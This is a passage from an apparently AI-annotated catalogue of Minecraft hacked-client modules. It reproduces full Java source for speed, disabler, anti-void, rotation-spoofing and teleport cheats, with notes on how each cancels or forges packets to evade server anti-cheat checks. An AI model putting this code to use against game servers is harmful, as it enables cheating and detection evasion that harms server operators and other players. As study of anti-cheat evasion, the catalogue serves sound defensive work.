BigDecimal(value);\n\t\t\tbd = bd.setScale(places, RoundingMode.HALF_UP);\n\t\t\treturn bd.doubleValue();\n\t\t}\n\t}\n    double forward;\n    double strafe;\n}\n\n\n// NOTE (AI): Bhop is Spicy's speed module and it manipulates C03 only indirectly: the Hypixel mode sets the player noClip, jumps on a 0.00004 ground check, and runs the client at 26.5 tps plus a random jitter while airborne, so the movement packets the vanilla emitter sends carry a faster-than-normal trajectory. Test 3 mode is the packet-level variant: on EventMove it sets motionY to 0.41999998688697815, seeds speed at forward*2.1500000953674316 and decays it by speed/165 per air tick, and adds a random 1.0E-5..9.9E-4 Y jitter to every on-ground packet so the server sees a noisy ground contact. The S08PacketPlayerPosLook handler counts setbacks and hard-disables the module after 3 lagbacks in 5 seconds, an explicit anti-flag fail-safe.\n",
      "code_source": "Spicy, info/spicyclient/modules/movement/Bhop.java",
      "vanilla_hook": "EventMove and EventMotion for physics; EventPacket on S08 for the lagback counter.",
      "anti_cheat_notes": "The 0.42 jump plus speed decay is the classic NCP bhop signature; the timer manipulation (26.5 tps) trips timer checks unless keepalive and transaction packets are delayed to match. The S08 auto-disable is an explicit flag-avoidance mechanism: the module quits before the anti-cheat can accumulate a ban.",
      "variations": "Rise 5.99's Speed has NCP/LowHop-style modes that send C04 ground packets at specific moments. Rise 6.x ships FuncraftSpeed and InteractSpeed, which send C04 with onGround true on interact. Sigma's Bhop sends C04(x, -10, z, true) as a void trick, with PremiumBhopAddon extending it. LiquidSense Dev's HYTSpeed cancels C03 subclasses while active, and the core Speed module ships an S08 lagback check that rewrites yaw and pitch to the client rotation and zeroes motion on teleport."
     },
     {
      "name": "Disabler",
      "found_in": [
       "Memeware 7.3",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Sigma 4.11",
       "Spicy",
       "Tenacity 6.0",
       "November Recode 2.0"
      ],
      "purpose": "Break anti-cheat position timing by cancelling, rewriting or re-injecting C03 packets, usually paired with keepalive and transaction manipulation.",
      "how_it_works": "Sigma's Hypixel mode arms a watchdog flag by sending C04 (x, y+0.16, z, true) and (x, y+0.07, z, true) through sendPacketNoEvent, then cancels every C03 in the outgoing pre phase until an S08PacketPlayerPosLook disarms it. ViperMC mode injects ten C04 packets alternating +-0.2 Y every 3 seconds. The keepalive and transaction branches (Erisium re-sends the last S00 key every 1500ms, SagePvP/ColdNetwork cancel accepted C0F with id 0) keep the frozen connection alive.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/Disabler.java =====\npackage info.sigmaclient.module.impl.other;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Comparator;\n\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.MoveUtils;\nimport info.sigmaclient.management.notifications.Notifications;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.module.data.Options;\nimport info.sigmaclient.module.data.Setting;\nimport info.sigmaclient.module.impl.movement.Phase;\nimport info.sigmaclient.util.Timer;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.item.Item;\nimport net.minecraft.item.ItemBook;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport net.minecraft.network.play.server.S00PacketKeepAlive;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\n\n\npublic class Disabler extends Module {\n    String MODE = \"MODE\";\n    boolean faithful = false, watchdog = false, erisium = false;\n    Timer timer = new Timer();\n    int lastKey;\n    String mode;\n\n    public Disabler(ModuleData data) {\n        super(data);\n        settings.put(MODE, new Setting<>(MODE, new Options(\"Mode\", \"Hypixel\", new String[]{\"Hypixel\", \"Faithful\", \"Erisium\", \"SagePvP\", \"ColdNetwork\"}), \"Disabler method.\"));\n    }\n\n    @Override\n    public void onEnable() {\n        if (mc.theWorld == null)\n            return;\n        erisium = false;\n        timer.reset();\n        mode = ((Options) settings.get(MODE).getValue()).getSelected();\n        if (mode.equalsIgnoreCase(\"ViperMC\")) {\n            if (!MoveUtils.isOnGround(0.0001)) {\n                this.toggle();\n                Notifications.getManager().post(\"Disabler\", \"Try again on ground !\", Notifications.Type.WARNING);\n            }\n        }\n        if (mode.equalsIgnoreCase(\"Hypixel\")) {\n            if (MoveUtils.isOnGround(0.001) && mc.thePlayer.isCollidedVertically) {\n                double x = mc.thePlayer.posX;\n                double y = mc.thePlayer.posY;\n                double z = mc.thePlayer.posZ;\n                mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.16, z, true));\n                mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.07, z, true));\n                watchdog = true;\n                Notifications.getManager().post(\"Disabler\", \"Wait 5s.\", Notifications.Type.INFO);\n            } else {\n                watchdog = false;\n            }\n        } else if (mode.equalsIgnoreCase(\"Faithful\")) {\n            Notifications.getManager().post(\"Disabler\", \"Relog to disable Area 51.\", Notifications.Type.INFO);\n        }\n    }\n\n    @Override\n    @RegisterEvent(events = {EventUpdate.class, EventPacket.class})\n    public void onEvent(Event event) {\n        if (mode == null) {\n            mode = ((Options) settings.get(MODE).getValue()).getSelected();\n        }\n        if (!mode.equalsIgnoreCase(((Options) settings.get(MODE).getValue()).getSelected())) {\n\n            mode = ((Options) settings.get(MODE).getValue()).getSelected();\n            if (mode.equalsIgnoreCase(\"Faithful\")) {\n                Notifications.getManager().post(\"Disabler\", \"Relog to disable Area 51.\", Notifications.Type.INFO);\n            }\n        }\n        this.setSuffix(mode);\n        if (event instanceof EventUpdate) {\n            EventUpdate em = (EventUpdate) event;\n            if (em.isPre()) {\n                if (mc.thePlayer.ticksExisted <= 1) {\n                    erisium = false;\n                }\n                if (mode.equalsIgnoreCase(\"ViperMC\")) {\n                    if (timer.delay(3000)) {\n                        em.setY(mc.thePlayer.posY + 0.4);\n                        return;\n                    }\n                    for (int i = 0; i < 10; ++i) {\n                        boolean i2 = i > 2 && i < 8;\n                        double x = i2 ? 0.2 : -0.2D;\n                        C03PacketPlayer.C04PacketPlayerPosition packet = new C03PacketPlayer.C04PacketPlayerPosition(\n                                mc.thePlayer.posX, mc.thePlayer.posY + x, mc.thePlayer.posZ, true);\n                        mc.thePlayer.sendQueue.addToSendQueue(packet);\n                    }\n                }\n                if (mode.equalsIgnoreCase(\"Hypixel\"))\n                    if (!watchdog) {\n                        if (MoveUtils.isOnGround(0.001) && mc.thePlayer.isCollidedVertically) {\n                            double x = mc.thePlayer.posX;\n                            double y = mc.thePlayer.posY;\n                            double z = mc.thePlayer.posZ;\n                            mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true));\n                            mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.16, z, true));\n                            mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.07, z, true));\n                            watchdog = true;\n                            Notifications.getManager().post(\"Disabler\", \"Please wait 5s.\", Notifications.Type.INFO);\n                        }\n                    } else {\n                        mc.thePlayer.motionX = 0;\n                        mc.thePlayer.motionY = 0;\n                        mc.thePlayer.motionZ = 0;\n                        mc.thePlayer.jumpMovementFactor = 0;\n                        mc.thePlayer.noClip = true;\n                        mc.thePlayer.onGround = false;\n                    }\n                if (mode.equalsIgnoreCase(\"Erisium\")) {\n                    if (erisium && timer.delay(1500)) {\n                        erisium = !erisium;\n                        mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C00PacketKeepAlive(lastKey));\n                    }\n                }\n\n            }\n        } else if (event instanceof EventPacket) {\n            EventPacket ep = (EventPacket) event;\n            Packet p = ep.getPacket();\n            if (ep.isPre()) {\n                if (p instanceof C03PacketPlayer) {\n                    if (mode.equalsIgnoreCase(\"Hypixel\") && watchdog) {\n                        ep.setCancelled(true);\n                    }\n                }\n                if (p instanceof S08PacketPlayerPosLook) {\n                    S08PacketPlayerPosLook pac = (S08PacketPlayerPosLook) ep.getPacket();\n                    pac.yaw = mc.thePlayer.rotationYaw;\n                    pac.pitch = mc.thePlayer.rotationPitch;\n                    if (watchdog && mode.equalsIgnoreCase(\"Hypixel\")) {\n                        Notifications.getManager().post(\"Disabler\", \"You can do what you want for 5s !\", Notifications.Type.INFO);\n                        this.toggle();\n                    }\n                }\n                if (p instanceof S00PacketKeepAlive) {\n                    S00PacketKeepAlive packet = (S00PacketKeepAlive) p;\n                    int KEY = packet.func_149134_c();\n                    if (mode.equalsIgnoreCase(\"Erisium\")) {\n                        timer.reset();\n                        erisium = true;\n                        lastKey = KEY;\n                    }\n                }\n                if (p instanceof C00PacketKeepAlive) {\n                    C00PacketKeepAlive packet = (C00PacketKeepAlive) p;\n                    if (mode.equalsIgnoreCase(\"Faithful\") || mode.equalsIgnoreCase(\"Erisium\") || mode.equalsIgnoreCase(\"SagePvP\") || mode.equalsIgnoreCase(\"ColdNetwork\")) {\n                        ep.setCancelled(true);\n                    }\n                }\n                if (p instanceof C0FPacketConfirmTransaction) {\n                    C0FPacketConfirmTransaction packet = (C0FPacketConfirmTransaction) p;\n                    int id = packet.getId();\n                    boolean accepted = packet.isAccepted();\n                    int uid = packet.getUid();\n                    if (id == 0 && accepted)\n                        if (mode.equalsIgnoreCase(\"SagePvP\") || mode.equalsIgnoreCase(\"ColdNetwork\")) {\n                            ep.setCancelled(true);\n                        }\n\n                }\n            }\n        }\n    }\n}\n\n\n// NOTE (AI): The Hypixel mode is the C03 centerpiece: while armed (watchdog flag), every C03PacketPlayer is cancelled in the outgoing pre phase, freezing the server-side player, and the module waits for an S08PacketPlayerPosLook to disarm. Before arming, it sends C04 (x, y+0.16, z, true) and (x, y+0.07, z, true) through sendPacketNoEvent, the ground-truth pair that trips Hypixel's watchdog jump flag so the watchdog window opens. ViperMC mode instead injects ten C04 packets alternating +0.2/-0.2 Y per 3 seconds and bumps the UpdateEvent Y by 0.4. The keepalive and transaction branches (Erisium re-sends the last S00 key every 1500ms; SagePvP/ColdNetwork cancel accepted C0F with id 0) are the timing half that keeps the freeze from being detected as a dead connection.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/other/Disabler.java",
      "vanilla_hook": "EventPacket outgoing pre for C03 cancel and C04 injection; EventUpdate for the arming sequence.",
      "anti_cheat_notes": "The +0.16/+0.07 pair is the Hypixel watchdog jump-flag trigger, a ground-truth pattern the server accepts as a jump; the resulting 5 second free-move window is bounded by the watchdog itself. Cancelling C03 while armed freezes the server-side player, which is the point, and the S08 disarm prevents the freeze from persisting.",
      "variations": "Memeware's Disabler has Mineplex Combat (C00 key corruption), Transaction, Latest Verus, PvPTemple, OmegaCraft, Timer, AACv1.9.10, Sloth, Ghostly, Watchdog and Faithful Movement modes. Rise 5.99's Disabler rewrites C06 into C04 and re-injects position packets. Rise 6.x ships ConvertMovingPackets, DynamicPVP, Ghostly, Lunar, NoRules, RiseBalance, Teleport, UniversoCraft and Verus2 disablers, most of which convert C03 subclasses or re-send position. Spicy has Disabler and Hypixel5SecDisabler (C04 +0.21/+0.11 pattern). Tenacity has DisablerModule and AdvancedDisablerModule with C06 to C04 conversion. November Recode 2.0's DisablerModule in BLOCKS_MC mode cancels the first outgoing C06PacketPlayerPosLook after join (before tick 120) and corrupts every C0FPacketConfirmTransaction uid to Short.MAX_VALUE; WATCHDOG mode is a TODO stub."
     },
     {
      "name": "AntiVoid",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Rescue the falling player by shaping the C03 stream before the server's void kill: SETBACK raises the reported Y, WATCHDOG cancels and buffers C03 over the void.",
      "how_it_works": "EventWalkingUpdate PRE raises the walking-update Y by +1 (SETBACK), snaps Y to a 1/64 modulus with onGround forced true (VULCAN), or calls jump() (JUMP). WATCHDOG cancels every C03 while aboveVoid() and fallDistance > 0.1, parks the packets in a ConcurrentLinkedQueue, and flushes the whole queue plus a bare C03 once 120 packets accumulate.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/player/AntiVoidModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.player;\n\nimport java.util.Queue;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.Stage;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport lol.november.listener.event.player.move.EventWalkingUpdate;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.util.BlockPos;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"AntiVoid\",\n  description = \"Prevents you from falling into the void\",\n  category = Category.PLAYER\n)\npublic class AntiVoidModule extends Module {\n\n  private static final double GROUND = 1.0 / 64.0;\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.SETBACK);\n  private final Setting<Boolean> voidCheck = new Setting<>(\"Void Check\", true);\n  private final Setting<Float> distance = new Setting<>(\n    \"Fall Distance\",\n    3.0f,\n    0.01f,\n    3.0f,\n    20.0f\n  );\n\n  private final Queue<Packet<?>> packetQueue = new ConcurrentLinkedQueue<>();\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (mode.getValue() == Mode.WATCHDOG && packetQueue.size() > 120) {\n      // idek if this works\n\n      mc.thePlayer.fallDistance = 0.0f;\n\n      while (!packetQueue.isEmpty()) {\n        mc.thePlayer.sendQueue.addToSendQueueSilent(packetQueue.poll());\n      }\n      mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer());\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventWalkingUpdate> walkingUpdate = event -> {\n    if (event.getStage() != Stage.PRE) return;\n\n    if (\n      mc.thePlayer.fallDistance < distance.getValue() ||\n      (!aboveVoid() && voidCheck.getValue())\n    ) return;\n\n    switch (mode.getValue()) {\n      case SETBACK -> event.setY(event.getY() + 1);\n      case VULCAN -> {\n        event.setY(event.getY() + (event.getY() % GROUND));\n        event.setOnGround(true);\n      }\n      case JUMP -> mc.thePlayer.jump();\n    }\n\n    mc.thePlayer.fallDistance = 0.0f;\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetIn = event -> {\n    if (event.get() instanceof C03PacketPlayer packet) {\n      if (mode.getValue() != Mode.WATCHDOG) return;\n\n      if (aboveVoid() && mc.thePlayer.fallDistance > 0.1f) {\n        event.setCanceled(true);\n        packetQueue.add(packet);\n      }\n    }\n  };\n\n  private boolean aboveVoid() {\n    for (int y = (int) Math.floor(mc.thePlayer.posY); y > 0; --y) {\n      BlockPos pos = new BlockPos(mc.thePlayer.posX, y, mc.thePlayer.posZ);\n      if (mc.theWorld.getBlockState(pos).getBlock() != Blocks.air) return false;\n    }\n    return true;\n  }\n\n  private enum Mode {\n    SETBACK,\n    JUMP,\n    VULCAN,\n    WATCHDOG,\n  }\n}\n\n// NOTE (AI): November's AntiVoid: the WATCHDOG mode cancels C03PacketPlayer while aboveVoid() and fallDistance > 0.1, queues the packets, and flushes them plus a bare C03 once 120 accumulate. SETBACK and VULCAN instead shape the walking update the vanilla emitter turns into C03: SETBACK raises Y by one, VULCAN snaps Y to a 1/64 modulus and forces onGround true. The flush path uses addToSendQueueSilent, which bypasses the module's own packet listener.\n",
      "code_source": "November Recode 2.0, feature/module/impl/player/AntiVoidModule.java",
      "vanilla_hook": "EventWalkingUpdate (PRE), EventPacket.Out for C03.",
      "anti_cheat_notes": "The WATCHDOG buffer bounds the freeze window at 120 packets, so the server never sees a long movement gap; the SETBACK and VULCAN modes send no extra packets at all and only change what the vanilla C03 reports, which keeps them invisible to packet-rate checks.",
      "variations": "Only November Recode 2.0 in the corpus; Rise and Spicy AntiVoid variants use the S08 teleport as their trigger instead (see S08PacketPlayerPosLook)."
     },
     {
      "name": "RotationManager",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Central rotation spoofing service: track the server's rotation from outgoing C03 packets and inject module-chosen yaw and pitch into the walking update the vanilla emitter turns into the next C03.",
      "how_it_works": "On EventPacket.Out, a rotating C03 stores its yaw and pitch as the server rotation. On EventWalkingUpdate PRE, the spoofed angles overwrite the event yaw and pitch plus the render rotations for keepTicks ticks; MoveCorrection.BASIC and FREE re-apply the yaw on EventStrafe so movement direction follows the spoof. Modules request rotations through spoof(priority, keepTicks, angles) and the highest priority wins.",
      "detailed_code": "// ===== FILE: November Recode 2.0, management/rotate/RotationManager.java =====\n/* November.lol © 2023 */\npackage lol.november.management.rotate;\n\nimport lol.november.November;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.Stage;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.move.EventStrafe;\nimport lol.november.listener.event.player.move.EventWalkingUpdate;\nimport lol.november.management.rotate.correction.MoveCorrection;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.network.play.client.C03PacketPlayer;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\npublic class RotationManager {\n\n  /**\n   * The {@link Minecraft} game instance\n   */\n  private final Minecraft mc = Minecraft.getMinecraft();\n\n  private float[] client, server;\n  private int rotationPriority;\n  private int ticks;\n\n  private MoveCorrection moveCorrection = MoveCorrection.NONE;\n\n  public RotationManager() {\n    server = new float[2];\n    November.bus().subscribe(this);\n  }\n\n  @Subscribe\n  private final Listener<EventWalkingUpdate> walkingUpdate = event -> {\n    if (event.getStage() == Stage.PRE && client != null) {\n      event.setYaw(client[0]);\n      event.setPitch(client[1]);\n\n      mc.thePlayer.rotationYawHead = client[0];\n      mc.thePlayer.renderYawOffset = client[0];\n      mc.thePlayer.renderPitch = client[1];\n\n      if (--ticks <= 0) {\n        moveCorrection = null;\n        client = null;\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventStrafe> strafe = event -> {\n    if (\n      !event.getEntity().equals(mc.thePlayer) ||\n      client == null ||\n      moveCorrection == MoveCorrection.NONE\n    ) return;\n\n    if (moveCorrection == MoveCorrection.BASIC) {\n      event.setRotationYaw(client[0]);\n    } else if (moveCorrection == MoveCorrection.FREE) {\n      // TODO\n\n      event.setRotationYaw(client[0]);\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (event.get() instanceof C03PacketPlayer packet) {\n      if (!packet.getRotating()) return;\n\n      server[0] = packet.getYaw();\n      server[1] = packet.getPitch();\n    }\n  };\n\n  public void spoof(int priority, int keepTicks, float[] angles) {\n    if (client == null || priority >= rotationPriority) {\n      client = angles;\n      rotationPriority = priority;\n      ticks = keepTicks;\n    }\n  }\n\n  public void setMoveCorrection(int priority, MoveCorrection moveCorrection) {\n    if (priority == rotationPriority) {\n      this.moveCorrection = moveCorrection;\n    }\n  }\n\n  public void reset(int priority) {\n    if (priority >= rotationPriority || ticks <= 0) {\n      ticks = 0;\n      moveCorrection = MoveCorrection.NONE;\n    }\n  }\n\n  public float[] server() {\n    return server;\n  }\n\n  public float[] client() {\n    return client;\n  }\n\n  public boolean spoofing() {\n    return client != null && ticks > 0;\n  }\n}\n\n// NOTE (AI): November's rotation service. The C03 hit is the packetOut listener: every rotating C03 the client emits becomes the recorded server rotation, and the walking-update listener injects the spoofed angles into the event the vanilla emitter consumes, so the next C03 carries the module rotation. AutoPotModule and KillAuraModule call spoof(HIGH, 5, angles), and the priority system lets the highest-priority module win the rotation for keepTicks ticks.\n",
      "code_source": "November Recode 2.0, management/rotate/RotationManager.java",
      "vanilla_hook": "EventWalkingUpdate PRE, EventStrafe, EventPacket.Out (rotating C03).",
      "anti_cheat_notes": "Because the server rotation is learned from the client's own C03 stream, spoofed look stays consistent with what the server last recorded for the player, which is what rotation checks compare against.",
      "variations": "LiquidSense Dev tracks rotations in RotationUtils and OtherRotationUtils, which rewrite C03 yaw, pitch and position directly inside PacketEvent instead of using a management singleton."
     },
     {
      "name": "Teleport / Tp",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Teleport by spoofing C04 position streams instead of moving: packet sequences toward a target BlockPos, with the server's own lag-back used as the arm signal.",
      "how_it_works": "onEnable provokes a lag-back with C0F(0,-1,false), a flying-abilities C13 and C04 +0.17/+0.06, then every C03 is cancelled until an S08 flips tp=true. The tick handler then replays the fall ladder (0.060100000351667404, 5.000000237487257E-4, 0.004999999888241291 + 6.01000003516674E-8) and walks a PathfindingUtils path with per-vec3 C04s, finishing with C03(true) and C0C input. The core Teleport module adds per-AC modes: Blink and Flag wrap the C04 burst in STOP/START_SNEAKING, Spoof rewrites C03 x/y/z to the target, AAC3.5.0 cancels and queues C04/C06.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/Teleport.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.exploit;\n\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.utils.PathUtils;\nimport net.ccbluex.liquidbounce.utils.block.BlockUtils;\nimport net.ccbluex.liquidbounce.utils.render.RenderUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TickTimer;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.block.material.Material;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.client.renderer.entity.RenderManager;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.client.C0BPacketEntityAction.Action;\nimport net.minecraft.util.AxisAlignedBB;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.MovingObjectPosition;\nimport org.lwjgl.input.Mouse;\n\nimport java.awt.*;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static org.lwjgl.opengl.GL11.*;\n\n@ModuleInfo(name = \"Teleport\", description = \"Allows you to teleport around.\", category = ModuleCategory.EXPLOIT)\npublic class Teleport extends Module {\n    private final ListValue modeValue = new ListValue(\"Mode\", new String[] {\"Blink\", \"Flag\", \"Rewinside\", \"OldRewinside\", \"Spoof\", \"Minesucht\", \"AAC3.5.0\"}, \"Blink\");\n    private final ListValue buttonValue = new ListValue(\"Button\", new String[] {\"Left\", \"Right\", \"Middle\"}, \"Middle\");\n\n    private final TickTimer flyTimer = new TickTimer();\n    private boolean hadGround;\n    private final List<Packet<?>> packets = new ArrayList<>();\n    private boolean disableLogger = false;\n    private boolean zitter = false;\n    private boolean doTeleport = false;\n    private boolean freeze = false;\n    private TickTimer freezeTimer = new TickTimer();\n\n    private int delay;\n    private BlockPos endPos;\n    private MovingObjectPosition objectPosition;\n\n    @Override\n    public void onEnable() {\n        if(modeValue.get().equalsIgnoreCase(\"AAC3.5.0\")) {\n            ClientUtils.displayChatMessage(\"§c>>> §a§lTeleport §fAAC 3.5.0 §c<<<\");\n            ClientUtils.displayChatMessage(\"§cHow to teleport: §aPress \" + buttonValue.get() + \" mouse button.\");\n            ClientUtils.displayChatMessage(\"§cHow to cancel teleport: §aDisable teleport module.\");\n        }\n    }\n\n    @Override\n    public void onDisable() {\n        delay = 0;\n        endPos = null;\n        hadGround = false;\n        freeze = false;\n        disableLogger = false;\n        flyTimer.reset();\n\n        packets.clear();\n\n        super.onDisable();\n    }\n\n    @EventTarget\n    public void onUpdate(final UpdateEvent event) {\n        final int buttonIndex = Arrays.asList(buttonValue.getValues()).indexOf(buttonValue.get());\n\n        if(modeValue.get().equals(\"AAC3.5.0\")) {\n            freezeTimer.update();\n\n            if(freeze && freezeTimer.hasTimePassed(40)) {\n                freezeTimer.reset();\n                freeze = false;\n                setState(false);\n            }\n\n            if(!flyTimer.hasTimePassed(60)) {\n                flyTimer.update();\n\n                if(mc.thePlayer.onGround) {\n                    mc.thePlayer.jump();\n                }else{\n                    MovementUtils.forward(zitter ? -0.21D : 0.21D);\n                    zitter = !zitter;\n                }\n\n                hadGround = false;\n                return;\n            }\n\n            if(mc.thePlayer.onGround)\n                hadGround = true;\n\n            if(!hadGround)\n                return;\n\n            if(mc.thePlayer.onGround)\n                mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY + 0.2D, mc.thePlayer.posZ);\n\n            final float vanillaSpeed = 2F;\n            mc.thePlayer.capabilities.isFlying = false;\n            mc.thePlayer.motionY = 0;\n            mc.thePlayer.motionX = 0;\n            mc.thePlayer.motionZ = 0;\n            if(mc.gameSettings.keyBindJump.isKeyDown())\n                mc.thePlayer.motionY += vanillaSpeed;\n            if(mc.gameSettings.keyBindSneak.isKeyDown())\n                mc.thePlayer.motionY -= vanillaSpeed;\n            MovementUtils.strafe(vanillaSpeed);\n\n            if(Mouse.isButtonDown(buttonIndex) && !doTeleport) {\n                mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY - 11, mc.thePlayer.posZ);\n\n                disableLogger = true;\n                packets.forEach(packet -> mc.getNetHandler().addToSendQueue(packet));\n\n                freezeTimer.reset();\n                freeze = true;\n            }\n\n            doTeleport = Mouse.isButtonDown(buttonIndex);\n            return;\n        }\n\n        if(mc.currentScreen == null && Mouse.isButtonDown(buttonIndex) && delay <= 0) {\n            endPos = objectPosition.getBlockPos();\n\n            if(BlockUtils.getBlock(endPos).getMaterial() == Material.air) {\n                endPos = null;\n                return;\n            }\n\n            ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3Position was set to §8\" + endPos.getX() + \"§3, §8\" + (endPos.getY() + 1) + \"§3, §8\" + endPos.getZ());\n            delay = 6;\n        }\n\n        if(delay > 0)\n            --delay;\n\n        if(endPos != null) {\n            final double endX = (double) endPos.getX() + 0.5D;\n            final double endY = (double) endPos.getY() + 1D;\n            final double endZ = (double) endPos.getZ() + 0.5D;\n\n            switch(modeValue.get().toLowerCase()) {\n                case \"blink\":\n                    if(mc.thePlayer.isSneaking()) {\n                        // Sneak\n                        mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.STOP_SNEAKING));\n\n                        // Teleport\n                        PathUtils.findBlinkPath(endX, endY, endZ).forEach(vector3d -> {\n                            mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vector3d.x, vector3d.y, vector3d.z, true));\n                            mc.thePlayer.setPosition(endX, endY, endZ);\n                        });\n\n                        // Sneak\n                        mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.START_SNEAKING));\n                        // Notify\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3You were teleported to §8\" + endX + \"§3, §8\" + endY + \"§3, §8\" + endZ);\n                    }\n                    break;\n                case \"flag\":\n                    if(mc.thePlayer.isSneaking()) {\n                        // Sneak\n                        mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.STOP_SNEAKING));\n\n                        // Teleport\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 5D, mc.thePlayer.posZ, true));\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));\n                        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 0.5D, mc.thePlayer.posY, mc.thePlayer.posZ + 0.5D, true));\n\n                        MovementUtils.forward(0.04D);\n\n                        // Sneak\n                        mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.START_SNEAKING));\n                        // Notify\n                        ClientUtils.displayChatMessage(\"§7[§8§lTeleport§7] §3You were teleported to §8\" + endX + \"§3, §8\" + endY + \"§3, §8\" + endZ);\n                    }\n                    break;\n                case \"rewinside\":\n                    mc.thePlayer.motionY = 0.1;\n                    mc.getNetHandler().addToSendQueue(new 